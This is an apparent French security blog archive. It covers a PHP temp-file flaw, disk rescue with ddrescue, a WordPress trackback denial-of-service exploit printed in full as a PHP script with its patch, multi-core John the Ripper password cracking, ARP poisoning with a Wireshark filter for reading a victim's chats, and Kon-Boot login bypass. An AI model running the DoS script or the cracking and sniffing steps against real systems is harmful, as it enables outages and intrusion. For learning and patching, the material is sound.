Sur unix, 6 caractères sont utilisés pour gérer les fichiers temporaires, il est donc impossible de deviner le nom de ceux-ci. Ou alors, cela prendra beaucoup de temps. L’auteur a tenté cette méthode sur un serveur ayant généré 800 000 fichiers temporaires. Après cinq minutes de tentative, il a réussi à deviner le nom d’un fichier et à exécuter du PHP.

Le script python permettant de générer l’attaque n’a pas été publié. Enfin, pas par l’auteur en tout cas. Cela se comprend aisément, du fait des conditions réunis: PHP largement déployé, pas besoin de formulaire d’upload, upload activé par défaut, seulement la dernière version corrige la faille, extension Suhosin non déployée par défaut sauf sur OpenBSD, de quoi faire tomber 70% des serveurs de la planète.

Mettez rapidement à jour vos serveurs. Un script doit déjà assez largement être distribué.

Références

L’équipe d’Acunetix essentiellement connue pour son scanner de failles web; devenu d’ailleurs entre temps un scanner de port, un soft d’exploitation d’injection SQL, un forgeur de packet HTTP et j’en passe; a averti l’équipe PHP le 27 octobre. L’auteur de cette découverte est bogdan de l’équipe Acunetix. On notera d’ailleurs avec intérêt qu’Acunetix n’a pas sorti l’adviso trois jours après avoir contacté le vendor; suivez mon regard :-)

Correction rapide

On vient de patcher quelques serveurs, la version 5.3.1 a pas été poussée dans les dépots officiels, on a donc installé suhosin qui lui y est:
apt-get install php5-suhosin
(http://packages.debian.org/lenny/php5-suhosin)

La configuration se passe dans /etc/php5/apache2/conf.d

suhosin.upload.max_uploads
Type: Integer
Default: 25
Defines the maximum number of files that may be uploaded with one request.

Je commencais à songer à aller me coucher quand je me pris à vouloir tenter le diable. Et pourquoi ne pas faire comme le teenager devant le Virgin Megastore à 3 heures du matin pour acheter le dernier album de son artiste préféré, pourquoi donc ne pas tenter de faire une upgrade en Karmic Koala fraichement poussée dans les repos par les joyeux lurons de Canonical quelques heures plus tôt ?

Aussitôt dit, presque aussitôt fait (il faut s’armer de patience lors d’un landrush), je me retrouvais trois heures plus tard avec la dernière mouture en date. Après le reboot réglementaire, je m’appretais à utiliser fièrement mon Gnome 2.28 fraichement déployé lorsqu’une icone vint troubler mon attention: elle m’invitait à prendre connaissance de l’état de mon disque dur. Je cliquais donc.

Cela m’a surpris au début. J’ai cru à un faux positif, comme en réservent souvent les packets nouvellement poussés en production (sur ubuntu en tout cas, il est chez Red Hat depuis un moment). Pour vérifier ses dires, j’ai redémarré et accédé à la partition de diagnostic Dell. Vérification RAM, CPU, et ainsi de suite: PASS, et sur le disque: FAILED. Vraisemblablement le test de surface génère beaucoup d’erreurs.

Comme j’avais bidouillé les drivers SATA/AHCI je me suis dit que cela pouvait venir de cela. Après avoir testé par l’OS (donc par la S.M.A.R.T puis par le diagnostic-tool de Dell), je décidais de descendre d’un niveau en utilisant l’utilitaire du constructeur appelé ES Tool. Après l’avoir gravé, je lançais l’utilitaire (CD amorcable, aucun système ne doit évidemment être loadé pour le diagnostic): même résultat. J’avais bien bons nombres de secteurs défectueux, ou en tout cas en attente de réallocation.

On était donc jeudi soir, j’avais évidement beaucoup de choses à faire pour le boulot le vendredi, mais en même temps on ne plaisante pas avec un disque dur qui commence à claquer, d’autant plus lorsqu’il contient tous les documents importants du boulot et avec une criticité parfois élevée. Alors oui j’avais bien fait des sauvegardes, mais comme la plupart du temps, elles n’étaient pas fondamentalement tenues à jour (cela ne se comptait pas en trimestre non plus, n’exagérons rien).

J’ai donc utilisé ma journée du vendredi à recenser tout ce que j’avais à sauvegarder après avoir monté mes partitions au travers d’un livecd. J’ai tenté au mieux de minimiser les accès disque même si consulter les dossiers génère son petit lot d’accès. Je suis parvenu au constat que j’avais dans les 200 go de documents à migrer pour être certain de ne rien oublier. Cependant je perdais toute ma configuration, mais aussi ma vieille partition Windows en dual-bot que je gardais par acquis de conscience. Afin de sauvegarder tout ce petit monde je ne comptais pas réaliser une copie de dossier un à un, c’était un travail gigantesque mais également la meilleure solution pour oublier quelque chose. J’ai donc songé à un utilitaire présent dans toutes les distribs linux: dd. En gros celui-ci me permettait de copier l’intégralité de mon disque dur sur un autre support et cela sans me soucier des fichiers, des partitions, ni même de la MBR. Cela tombait bien: j’avais reçu quelques jours auparavant mon nouveau système de sauvegarde perso, un Lacie Quadra me permettant de faire des sauvegarde de 2 To en mirroring (RAID 1/0), ou de 4 To en mode fast. Paranoïaque avéré je l’ai bien entendu configuré en 1/0. Donc une fois le Lacie connecté en USB, je vérifiais ma table de montage (à peu près 200 fois, de peur de me retrouver une dizaine d’heure plus tard à rechercher des données après un mauvais format):

john@john-laptop:~$ mount | grep sda
john@john-laptop:~$ mount | grep sdb


Mon hd endommagé était bien sur /dev/sda et l’externe sur /dev/sdb. Même si cela peut paraitre stupide: quand on risque de perdre 200 go de données, on fait attention. J’ai donc ensuite bêtement executée:

dd if=/dev/sda of=/dev/sdb


Et j’ai laissé tourner pendant quelques heures. Et là j’ai noté quelques défauts dans ce cher et vieux dd. Tout d’abord par défaut la verbosité n’est pas exceptionnelle. On est dans le flou complet. Un mode interractif sans annonce de progression. Mais au bout d’une heure, j’ai pu avoir un peu de verbose; les choses ont commencé à mal tourner: il n’avait copié que 6,5 GO. Il bouclait sur une I/O error que générait sans doute l’un de mes premiers secteurs défectueux. Après un second essai du même acabit, j’ai RTFM pour de bon. Après un man dd, j’ai été réellement étonné de ne trouver aucun argument de type « onerrorskip » ou « noretry ». J’ai par dépit tenté un:

dd if=/dev/sda of=/dev/sdb conv=noerror,direct


Mais même en passant ces options il bouclait sur mes I/O error. J’ai laissé tourner pendant quelques heures supplémentaires pour ne copier au grand maximum que quelques dizaines de Mo de plus. Avant de me résoudre à entreprendre ce que j’avais réfuté du début (la copie de dossier un à un), je me suis penché du côté des livecds pour copier les données à partir de disques endommagés mais je n’ai pas vraiment trouvé de chaussure à mon pied. En revanche j’ai trouvé un fork de dd nommé ddrescue. Celui-ci ressemble à son grand frère à cette différence près: il ne boucle pas sur les erreurs, il les loggue et tente ensuite plusieurs passes pour récupérer les données potentiellement « perdues ». J’ai donc téléchargé le dernier en date, un configure,un make, et une doc plus tard, je lancais ca:

ddrescue -n /dev/sda /dev/sdb debug.log


Pour la petite histoire le -n évite de faire plusieurs passes sur la logfile afin de récupérer le maximum de données. Il s’oppose à -r qui est le max retries passes. Chaque secteur déféctueux est analysé une fois par passe. Comme j’étais pressé et que je voulais surtout tester si cela allait me sauver, je donc lancé avec -n. 30 heures plus tard ma copie était faite et surtout j’avais pu suivre le bon déroulement des opérations car ddrescue est très interractif:

Ce screen n’est pas celui de ma machine, il vous permet simplement de voir l’interactivité du soft. Au bout de 30 heures, il avait détecté 692 erreurs, estimé 67Mo d’errorsize, qu’il a su (en une seule et unique passe !) ramener à 6 mo. Je pense qu’en cinq passes je récupérais l’intégralité de mes données (je n’ai toujours pas trouvé ce que j’ai perdu, probablement de l’espace libre).

Après avoir vérifié en profondeur ma sauvegarde sur mon HD externe j’ai contacté Dell pour procéder au remplacement de mon disque dur. Comme d’habitude, SAV irréprochable, j’ai appelé vendredi soir, lundi matin l’un de leur techos l’un des techos de l’un des leurs sous-traitants pour le SAV était au bureau. Avant de rendre mon ancien disque dur j’ai bien pris soin d’effectuer deux opérations, un format bas niveau depuis l’utilitaire Samsung prévu à cet effet, ce qui a au passage résolu le soucis de secteurs déféctueux (temporairement, va sans dire), et suite à la résolution de ce problème de secteurs j’ai sorti mon plus joli:

dd if=/dev/zero of=/dev/sda


Idéalement j’aurai bien fait un

dd if=/dev/random of=/dev/sda


mais je n’avais pas la semaine devant moi. D’ailleurs chez Dell ils doivent avoir l’habitude des raleurs surtout lors de soucis de disque, ils m’ont échangé mon Samsung contre un Western Digital 500GO. Youhou 100 GO de gagné.

Pour conclure, je ne sais pas si cet article interessera beaucoup d’entre vous, il ne poursuit que quelques buts:

• Vous donner une méthode efficace de sauvegarde lorsque vous avez des secteurs défectueux. dd ne faisant pas son travail, ddrescue est votre ami. En effet vous avez bien mieux à faire lors d’un soucis hardware, surtout avec votre hd, que de penser à quels sont les fichiers à ne pas oublier. Autant prendre l’intégralité avec l’effort minimimum, cela tient en une commande.

• Vous donner une méthode vous permettant de récupérer vos données avec des secteurs déféctueux. Comme je l’ai dit, avec cinq passes je suppose que je retrouvais l’intégralité des mes données.

• Vous avertir sur le fait qu’au final Karmic Koala m’a sauvé, parce que ni mes outils de monitoring S.M.A.R.T sous windows (que je boot très rarement il est vrai), ni Jaunty ne m’avaient alerté. Il a fallu l’apparition de Palimpsest dans Karmic pour que je prenne conscience que mon disque dur était en train de mourrir en tentant désespérement de m’alerter.

• Que ce n’est au final pas si mal d’upgrader son système les jours de landrush: deux jours plus tard 300 secteurs disparaissaient à nouveau (juste à la fin de ma maltraitance sur /dev/sda avec ddrescue)

• Qu’il est préférable de rendre à son constructeur un disque dur où l’on a un peu compliqué la tâche des recovery tools: format bas niveau + /dev/zero ou /dev/random, même si ce n’est pas « parfait », je pense que c’est suffisant dans mon cas de figure.

• Qu’au final je n’ai pas fait le processus inverse:
  dd if=/dev/sdb of=/dev/sda pour restaurer mon système. J’ai réinstallé la dernière version d’ubuntu pour « profiter » de l’ext4 et avoir une réelle base de comparaison, et voir si ce FS est mal réputé à tort ou à raison pour son instabilité. Cela m’a permis de repenser ma gestion des lvms cryptés sur ma machine pour m’orienter vers une solution basée sur truecrypt, même si elle semble parfois mise à mal. Bon j’avoue, j’ai quand même copié mes /home/john/.* :)

4. C’est le nombre de serveurs contenus dans un cluster au boulot et qui viennent tous de cesser de répondre pendant que je testais cet exploit. Démentiel.

01h25, c’est l’heure à laquelle j’écris ce billet: vous m’excuserez donc pour les fautes d’orthographes du billet cet article c’est un peu une « Breaking News ».

Aujourd’hui a donc été release un « WordPress Exhaustion Exploit », c’est une appellation relativement savante pour dire que ca peut faire sauter les services d’un serveur en 36 lignes de code. Je viens de le tester sur l’un de mes serveurs perso, en 10 secondes mysql a cessé de répondre et n’est pas revenu de lui même. TOUTES les versions de WordPress sont faillibles.

L’attaque en elle-même est relativement simple, elle concerne les trackbacks. wp-trackback.php permet de gérer les rétro-liens, c’est à dire que si Blog B fait référence à un article de Blog A, alors un lien de Blog B apparaitra sur Blog A dans la partie des commentaires.

La faille en elle-même c’est quoi ? Elle se situe au niveau de la gestion de l’encodage du titre.

if ( function_exists(’mb_convert_encoding’) ) { // For international trackbacks
$title = mb_convert_encoding($title, get_option(’blog_charset’), $charset);
$excerpt = mb_convert_encoding($excerpt, get_option(’blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(’blog_charset’), $charset);
}


En gros, il faut savoir que mb_convert_encoding est une fonction qui permet de transformer une chaine encodée en X vers une chaine encodée en Y. Cette fonction prend trois paramètres:

mb_convert_encoding(chaine_que_l'on_veut_convertir, nouveau_charset, charset_d_origine)

Dans charset_d_origine on peut spécifier plusieurs charsets. Si l’on en met plusieurs, la fonction va chercher quel charset correspond à la chaine. Elle va donc tester chacun des charsets passés en argument puis décider quel est le meilleur. Une fois qu’elle a trouvé le meilleur, elle va transformer chaine_que_l’on_veut_convertir en nouveau_charset.

Pour exploiter cette faiblesse dans notre faille, on va passer une chaine de 140 000 octets (soit 140 000 caractères) et on lui indique qu’il y a 23 333 charsets d’origine possible (« UTF-8, » fait 6 caractères, si on a 140 000 octets, on a 140 000/6 = 23 333.333). De fait, la fonction va parcourir 23 333 fois la chaine chaine_que_l’on_veut_convertir, et parcourir 23 333 cette chaine, ca sollicite le serveur, bien entendu :). Si l’on envoie la requête une fois, le serveur la traite, maintenant si on répète l’opération sur un délai très court le serveur apprécie moins. C’est bien entendu précisément ce que fait le script en utilisant fork qui divise en plusieurs processus et une boucle qui relance le processus initial une fois terminé.

<?
if(count($argv) < 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?>

Pour l’enrayer inutile de désactiver les trackbacks car tout se passe avant. Il faut aller dans wp-trackback.php et trouver la ligne:

$charset = $_POST['charset'];

et la remplacer par:

$charset = str_replace(”,”,”",$_POST['charset']);
if(is_array($charset)) { exit; }

Ce patch permet d’enlever les virgules, du coup le script n’a plus à tester les 23 333 charset_d_origine, mais un seul, inexistant. L’autre façon de passer un charset_d_origine à la fonction c’est un tableau, là on va pas faire dans la dentelle, si c’est un tableau, on exit.

Sinon vous pouvez toujours deny from all wp-trackback.php ;-)

L’exploit a été posté sur Full-Disclosure aujourd’hui à 14h30. Il semble avoir été découvert par rooibo et amélioré par Zerial. Ce n’est vraiment pas impossible que d’ici quelques jours de joyeux lurons s’amusent à attaquer les WordPress des bloggeurs « influents » les plus connus. Rooibo explique sur son blog qu’il a avertit l’équipe WordPress et que leur proposition de correctif ne lui a pas semblé viable.

Le correctif proposé est celui de roobio, je pense qu’il est préférable de tester le tableau en premier et de faire le str_replace ensuite car je crois qu’un str_replace sur un array conduit à du path disclosure.

Rapide update: WordPress vient de release la version 2.8.5.

Voici le diff sur le fichier qui nous intéresse:
john@john-laptop:~/Bureau$ diff -urN wordpress-2.8.4/ wordpress-2.8.5/ > diff.diff
diff -urN wordpress-2.8.4/wp-trackback.php wordpress-2.8.5/wp-trackback.php
--- wordpress-2.8.4/wp-trackback.php 2008-05-25 17:50:15.000000000 +0200
+++ wordpress-2.8.5/wp-trackback.php 2009-10-19 17:10:59.000000000 +0200
@@ -50,7 +50,7 @@
$blog_name = stripslashes($_POST['blog_name']);

if ($charset)
- $charset = strtoupper( trim($charset) );
+ $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
else
$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';


Sinon j’ai fait le diff complet ici, car je ne trouve pas l’officiel chez WordPress: diff WordPress-2.8.4 WordPress 2.8.5

Pour les besoins du boulot, nous avons monté un serveur relativement puissant et efficace: 16 Go de RAM et surtout du double quadruple coeurs (Intel Bi Xeon Quad 8x 2.00+ GHz). J’en ai donc profité pour tester l’objet de mes plus grands fantasmes :) (Bah oui, tout le monde n’a pas un 8 core sur son laptop, et les méthodes GPU sur un serveur sans CG…), et le résultat est sans appel:

Avant:

john-laptop:~/johntheripper/run# ./john -test
Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE
Many salts: 1912K c/s real, 1912K c/s virtual
Only one salt: 1631K c/s real, 1631K c/s virtual

Après:

john-laptop:~/john-1.7.2-bp17-mpi8/run# mpirun -np 8 ./john -test
Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE
Many salts: 15269K c/s real, 15273K c/s virtual
Only one salt: 12997K c/s real, 13000K c/s virtual

Avant:

Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE
Many salts: 62387 c/s real, 62512 c/s virtual
Only one salt: 60723 c/s real, 60723 c/s virtual

Après:

Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE
Many salts: 497326 c/s real, 496954 c/s virtual
Only one salt: 484527 c/s real, 484527 c/s virtual

Avant:

Benchmarking: FreeBSD MD5 [32/64 X2]... DONE
Raw: 8592 c/s real, 8592 c/s virtual

Après:

Benchmarking: FreeBSD MD5 [32/64 X2]... DONE
Raw: 68862 c/s real, 68844 c/s virtual

Avant:

Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE
Raw: 518 c/s real, 518 c/s virtual

Après:

Benchmarking: OpenBSD Blowfish (x32) [32/64]... DONE
Raw: 2415 c/s real, 2416 c/s virtual

Avant:

Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short: 285330 c/s real, 285330 c/s virtual
Long: 911564 c/s real, 911564 c/s virtual

Après:

Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short: 2281K c/s real, 2279K c/s virtual
Long: 7241K c/s real, 7241K c/s virtual

Avant:

Benchmarking: LM DES [128/128 BS SSE2-16]... DONE
Raw: 9688K c/s real, 9688K c/s virtual

Après:

Benchmarking: NT LM DES [128/128 BS SSE2-16]... DONE
Raw: 79468K c/s real, 79587K c/s virtual

Et en bonus, juste pour la version 8 core cette fois:

Benchmarking: Apache MD5 [32/64 X2]... DONE
Raw: 68674 c/s real, 68674 c/s virtual

Benchmarking: mysql [mysql]... DONE
Raw: 20638K c/s real, 20643K c/s virtual

Benchmarking: Netscape LDAP SHA [SHA1]... DONE
Raw: 14961K c/s real, 14961K c/s virtual

Benchmarking: NT MD4 [TridgeMD4]... DONE
Raw: 18830K c/s real, 18844K c/s virtual

Benchmarking: Lotus5 [Lotus v5 Proprietary]... DONE
Raw: 1204K c/s real, 1205K c/s virtual

Benchmarking: M$ Cache Hash [mscash]... DONE
Raw: 12567K c/s real, 12567K c/s virtual

Benchmarking: Raw MD5 [raw-md5]... DONE
Raw: 19448K c/s real, 19448K c/s virtual

Benchmarking: IPB2 MD5 [Invision Power Board 2.x salted MD5]... DONE
Raw: 10592K c/s real, 10587K c/s virtual

Benchmarking: Eggdrop [blowfish]... DONE
Raw: 136593 c/s real, 136627 c/s virtual

Benchmarking: Raw SHA1 [raw-sha1]... DONE
Raw: 14720K c/s real, 14720K c/s virtual

Benchmarking: MS-SQL [ms-sql]... DONE
Raw: 15442K c/s real, 15446K c/s virtual

Benchmarking: HMAC MD5 [hmac-md5]... DONE
Raw: 5473K c/s real, 5477K c/s virtual

Benchmarking: WPA PSK [wpa-psk]... DONE
Raw: 472 c/s real, 472 c/s virtual

Benchmarking: Netscape LDAP SSHA [salted SHA1]... DONE
Raw: 14922K c/s real, 14926K c/s virtual

Ca c’est pour la théorie. Maintenant pour la pratique, j’ai encodé via htpasswd le mot de passe suivant blogjohn; et j’ai testé la vitesse de bruteforce avec les deux logiciels, le classique et le multi-thread donc.

John the ripper:

guesses: 1 time: 0:11:01:58 c/s: 1704K trying: blogji1X - blogjoek
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
blogjohn (john)

Soit 11h01 de travail.

John the ripper n-core (ici 8, bindshell.net):

thread: 0 guesses: 1 time: 0:01:27:22 c/s: 1702K trying: blogjim9 - blogjone

Soit 1h30 de travail !

Je sors un petit graphique de munin pour l’occasion, le premier histo est donc le john classique et le second le multi-core. Pour la petite histoire, cela a bien duré 1h30, mais on continue de voir une utilisation CPU parce que je n’ai pas stoppé les 7 autres threads.

Donc pour conclure, comment on utilise la bête ?

Tout d’abord on récupère le john tunné pour l’occasion (il est aussi disponible sous forme de diff à appliquer, au choix):

wget http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi8.tar.gz

On untar:

tar zxvf john-1.7.2-bp17-mpi8.tar.gz

Ensuite on installe libopenmpi-dev pour compiler cette version de john sinon on a pas mpicc et openmpi-bin pour utiliser mpirun:

apt-get install libopenmpi-dev
apt-get install openmpi-bin

Puis on compile john:

cd john-1.7.2-bp17-mpi8/src/
make //ici il va vous lister les possibilités de compilation optimisée selon votre OS, ce qui donne chez moi:
make clean linux-x86-64
cd ../run

Et enfin, notre salvateur:

mpirun -np <NUMPROCS> ./john -i pass.txt //<NUMPROCS> correspond bien entendu au nombre de core que vous avez à disposition.

Voilà amusez vous bien, et ne le faites pas tourner n’importe où, comme vu sur le graph, ca fera hurler munin et tous les softs de monitoring du sysadmin ;)

Cette faille permet depuis un simple compte utilisateur de passer root. Et la mauvaise nouvelle c’est que cela affecte la plupart des kernels supportant IPv6 (bon ca c’est la version édulcorée, en vrai c’est le protocole qui gère Bluetooth, PPPoX, IRDA et autres joyeusetés); c’est à dire:

- Linux 2.4, de 2.4.4 jusqu’à 2.4.37.4 compris.
- Linux 2.6, de 2.6.0 jusqu’à 2.6.30.4 compris.

C’est donc un monstre de dangerosité. Inutile de se lancer dans des élucubrations sur la faille en elle même, elle est bien évidemment largement documentée par ses auteurs: http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html ou surtout le blog de julien (qui doit voir son PR exploser).

- return sock->ops->sendpage(sock, page, offset, size, flags);
+ return kernel_sendpage(sock, page, offset, size, flags);

Cette ligne suffit à corriger la faille dans le kernel, patchée d’ailleurs par Sieur Torvalds himself. Le patch est ici.

Cette faille provoque bien évidemment une patch party chez les hébergeurs sérieux ayant avertis leurs clients. Par exemple OVH a avertis par mailing mais également sur le forum. Ils mettent à disposition une version recompilée du noyau sur ftp://ftp.ovh.net/made-in-ovh/bzImage/.

Je vous encourage vivement à mettre à jour vos systèmes. L’exploit est en effet disponible sur milw0rm, [2]. Enfin dernière chose amusante, l’auteur du premier exploit est Brad Spengler, oui oui l’auteur de Grsecurity (Un patch qui permet d’ajouter des fonctions de sécurité au kernel). D’ailleurs les kernels tournant avec GRS ne sont pas faillibles :-) Pied de nez aux personnes n’étant pas disposées à réduire un peu les performances pour améliorer la sécurité de leurs serveurs.

Juste pour information sur mon introduction, Julien Tinnes n’est pas à son premier coup d’essai, [2], [3 !]. Il travaille désormais chez Google comme Ingénieur Securité après avoir fait un passage chez Orange Labs. Décidément pas de chaussure au pieds des ingés sécurité en France ?

Sur ce, bonne lecture et bon tests.

Presque 3 mois sans poster, j’ai fait une petite rechute. Tiens en parlant de chute, j’ai une bonne excuse, je me suis cassé l’olécrane lors d’une ballade à vélo. Ca explique (en partie) ma non-présence sur le blog :)

Cette fracture m’a encore appris plein de choses en medecine, je reste vraiment persuadé qu’il faut profiter de chacune des épreuves que la vie nous envoie pour se documenter au maximum dessus. Ainsi je suis devenu expert en brochage / cerclage / haubanage, pseudarthrose et plein d’autres choses amusantes.

J’ai quand même gardé un oeil attentif sur l’ensemble de (belles) choses étant sorties au cours de ces trois mois. Sans être exhaustif, j’ai trouvé sympa:

• Le Dos Apache Slowlaris.pl qui est vaguement lié à TCP Handshake flood.
• L’exploit phpmyadmin, même s’il faut que l’admin ait choisi la wizard installation. Et a priori un scanner en a découlé.
• L’énnormmmeeee foin que crée la (fake ?) hole openssh. Chacun y est allé de son petit commentaire « Pas possible ? », « Bruteforce ? », « J’avais dit qu’il faut SSH par key ! ». Ca a upgradé en cascade chez la plupart des hosteurs, y compris OVH.
• La *faille* <= 8.1 WordPress. Bon il s’agit juste d’un XSS mais ca peut conduire à des attaques de phishing efficace.
• La sortie de nmap 5.0 qui rajoute tout plein de choses interessantes: Ncat, Ndiff, NSE. A découvrir dans la tarball.
• La RC 7 de sqlmap et l’intégration de sqlmap dans la distribution debian. C’est vraiment une bonne chose.
• Les deux failles navigateurs: MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit et Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit. Là avec du code malveillant sur un site à trafic, il y avait a vraiment de quoi faire mal.
• La sortie de l0phtcrack 6.
• Des failles sur twitter, et surtout, le piratage de twitter qui a mis le serveur de Korben sur les rotules.
• Et j’ai gardé le meilleur pour la fin, le fake exploit OpenOwn.c (basé sur le « buzz » de la faille OpenSSH, qui fait un joli rm -rf /*.
• Tout plein d’autres choses que je n’ai pas le courage de mettre ici :)

Passez un bon week end :-)

Partant du postulat qu’aucun réseau n’est fiable, je suis souvent pris de crise de paranoïa. En effet, comment savoir si le Wifi sur lequel je suis connecté à l’hôtel ou dans un café n’est pas victime de sniff d’un petit bidouilleur du coin. Au final, ce schéma n’est pas si paranoïaque que cela, le bidouilleur en question peut tout a fait avoir cracké la clé wep de la connexion et sniffer tout ce qui passe sur le réseau à mon insu.

Je ferai prochainement un billet sur les attaques de type Man in The Middle, en attendant voici pour la théorie sur l’ARP poisoning.

Grosso modo le sniffing repose sur une faiblesse du protocole ARP. Sans entrer dans les détails, ce protocole sert à gérer l’association des adresses MAC / IP. Si vous tapez arp -a dans votre shell, vous verrez la plage ARP que votre ordinateur a en cache. Donc dans l’idée, si ce cache est vide, j’envoie une requête broadcasté pour émettre ma trame = > tous les ordinateurs du réseau sont au courant de cette requête et l’ordinateur concerné me renvoie son adresse MAC; après association, ma trame est envoyée. Si j’ai déjà l’association en cache, ma trame est envoyée immédiatement.

L’astuce va consister à usurper une adresse IP au sein du réseau en utilisant des packets forgés. Comment cela se passe ? Si je veux sniffer ce qu’Etienne et Alix se disent, je vais envoyer à Etienne un packet avec en adresse IP source, l’ip de la machine d’Alix et l’adresse MAC de ma carte réseau. On imagine aisément la suite, j’envoie un packet à Alix avec l’adresse IP d’Etienne en source et mon adresse MAC à nouveau. Lorsque les deux vont vouloir communiquer, c’est moi qui vais recevoir les trames. Une fois que les trames arrivent chez moi, j’ai plusieurs choix: Ecouter ce qu’ils se disent (conversations MSN, Surf, etc) avec du Man in the Middle, donc rerouter les packets ensuite; paralyser le réseau en réalisant un Ddos: MITM sans relayer les packets; décider de ne pas router les packets après réception: bloquage du réseau. Ainsi je peux écouter l’intégralité des informations échangées sur le réseau où je suis.

Pour éviter ce type d’attaque on peut par exemple mettre des entrées statiques dans les cache ARP, mais cette méthode a ses limites: il faut un faible nombre de machines sur le réseau, et c’est biensûr impossible sur un Wifi ouvert d’hôtel. Sinon, on peut surveiller le réseau, et couper les accès aux adresses IP usurpées (Victime 1, Victime 2, Attaquant).

Si l’on est victime de ce type d’attaque, on peut limiter le casse: le bon usage voudrait que l’on utilise SYSTÉMATIQUEMENT des connexions en SSL pour rappatrier ses mails, se loger sur ses comptes favoris (gmail, analytics, etc), et se limiter à l’essentiel dans ce surf. Bref tout cela reste problématique et assez peu déterministe. D’autant plus que de configurer un proxy SSL pour son IM n’est pas toujours possible, et un pirate peut aisément extraire les trames spécifiques qui l’interesse. Par exemple en cas de sniffing, si sous Wireshark j’utilise: msnms contains « text/plain » && ip.addr == 192.168.0.10, je pourrais lire l’intégralité des conversations msn de la victime.

Tout cela pour dire que j’ai trouvé un soft qui se lance au démarrage de votre machine et vous alerte en cas d’ARP Poisoning. Je ne peux plus m’en passer, ma paranoia diminue, bref tout va pour le mieux dans le meilleur des mondes.

Le soft en question s’appelle Xarp, téléchargeable ici. Donc comme précisé, il se lance au démarrage et analyse les associations ARP, et permet de déceller si vous êtes victime d’ARP Poisoning. S’il détecte une attaque, il pop une alerte avec l’adresse IP de l’attaquant et celles des victimes.

Sinon si vous voulez vous la jouer un peu plus old school, vous avez arpwatch.

La plupart des nouveaux utilisateurs de systèmes Gnu/Linux partent du postulat qu’utiliser un Linux est bien plus sûr qu’un Windows, et que de fait, il n’est pas forcément nécessaire d’avoir un firewall, ou encore de passer de temps à paramétrer son système. Ils ont évidement tort, considérer Linux comme plus secure que Windows est une erreur, et ne pas paramétrer son OS en est une autre. Lors des audits de sécurité, c’est souvent une machine end-user du parc qui fait défaut. Il existe pourtant un module qui fournit à Linux l’intégralité des fonctions de pare-feu: Netfilter. Il intercepte et manipule les paquets IP avant et après le routage. Pour configurer Netfilter en espace utilisateur, on utilise Iptables. Nous devons souvent proposer aux administrateurs et utilisateurs une configuration d’un firewall que nous estimons saine post-audit. Ce billet reprend la plupart des informations que nous mettons en avant dans le rapport.

Afin de faciliter la lecture de cette configuration, j’ai opté pour un export html, avec quelques textareas permettant à chacun de pouvoir copier coller les parties qui l’interesse. Une fonction amusante de port knocking est expliquée en fin de document.

Configuration d’un firewall avec Iptables/Netfilter

A noter que l’auteur de la configuration initiale est Raphael Prevost, consultant sécurité au sein de Wargan Solutions.

Alors là y’a pas à dire, j’ai rarement fait mieux comme titre racoleur ! J’aurai du préciser qu’il faut un accès physique à la machine (en tout cas à son lecteur CD) mais ça aurait fait un titre trop long. Vous avez parfois besoin d’accéder à une machine sans en connaitre le mot de passe: vous avez oublié votre mot de passe, vieille machine ressortie du grenier, maintenance, audit de sécurité, et pour certain d’entre vous, bidouilles que je ne veux pas connaitre :) Quand j’avais besoin de tripoter un Windows XP sans connaitre le password administrateur j’utilisais un Live CD de OphCrack qui permet de cracker les hashs LM et NTLM (donc ceux de windows) à l’aide de Rainbow Tables, ou simplement en méthode bruteforce. Grosso-modo, il load les hashs de la SAM au boot et donc en extrait les passwords selon la méthode que vous avez défini.

Tout ça c’est révolu grâce à un développeur fou qui vient de release un programme qui permet de se logger sur l’ensemble de ces OS sans en connaitre le mot de passe administrateur (ou root pour le coup):

• Windows Server 2008 Standart SP2
• Windows 7
• Windows Vista Business SP0
• Windows Vista Ultimate SP1 / SP0
• Windows Server 2003 Enterprise
• Windows XP SP1 / SP2 / SP3
• Gentoo 2.6.24
• Ubuntu 2.6.24
• Debian 2.6.18-6
• Fedora 2.6.25.9-76

Le mieux c’est que cette liste n’est pas exhaustive, cela correspond simplement aux OS qu’il a testé.

Kon-Boot change le contenu du kernel de votre distrib « on the fly » (pendant le boot). Le développeur explique qu’il l’a conçu à la base pour Ubuntu à cause de ses soucis de mémoires, et qu’au fil du temps il l’a étendu, jusqu’à ce que cela devienne un vrai projet de sécu. Le soft est codé en ASM x86. Les changements à la volée du noyau Linux ou Windows ne produit évidement aucun changement physique, tout est fait virtuellement.

Comment ça marche ?

